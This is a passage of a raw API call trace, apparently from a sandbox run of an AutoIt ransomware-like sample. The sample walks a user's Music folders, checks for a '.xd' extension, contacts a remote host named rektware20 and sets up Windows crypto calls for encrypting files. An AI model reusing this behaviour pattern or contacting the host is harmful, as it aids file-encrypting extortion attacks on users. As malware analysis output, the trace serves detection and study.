lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0063.195] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.195] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.195] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.195] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.195] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.195] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0063.195] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.196] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0063.196] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.196] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0063.196] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.196] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0063.196] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.196] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.197] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.197] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.197] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.198] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0063.198] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.198] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0063.198] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.198] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.199] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.199] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.199] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.199] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.199] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.199] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.200] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.200] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.200] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.200] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0063.200] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.200] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\desktop.ini", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0063.200] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0063.200] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.200] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0063.200] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.201] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0063.201] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0063.201] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f10, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f10, lpdwBufferLength=0x130ef8c) returned 1 [0063.201] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.201] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.201] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.201] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0063.201] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0063.201] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0063.201] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629210, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629210*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0063.202] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629280, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629280*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0063.202] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.202] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.202] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.202] CloseHandle (hObject=0x0) returned 0 [0063.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0063.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.203] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.203] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0063.203] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.203] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0063.204] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0063.204] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.204] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0063.204] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0063.204] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c) returned 1 [0063.204] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.204] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.204] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.204] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0063.204] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0063.204] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0063.204] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629200, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629200*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0063.204] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629480, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629480*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0063.205] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.205] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.205] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.205] CloseHandle (hObject=0x0) returned 0 [0063.205] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.205] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\desktop.ini", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0063.205] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.205] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.205] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.206] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.206] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.206] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.206] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.206] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0063.206] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.206] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.206] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0063.206] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.206] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.206] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.206] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.207] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.207] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0063.207] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0063.207] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0063.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0063.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0063.208] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0063.208] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17ab550) returned 1 [0063.212] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.212] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.212] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0063.212] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.212] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.212] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.212] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.212] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.212] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.212] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.213] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.213] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.213] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.213] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.213] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.213] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0063.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.213] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.213] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.213] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.213] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.213] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 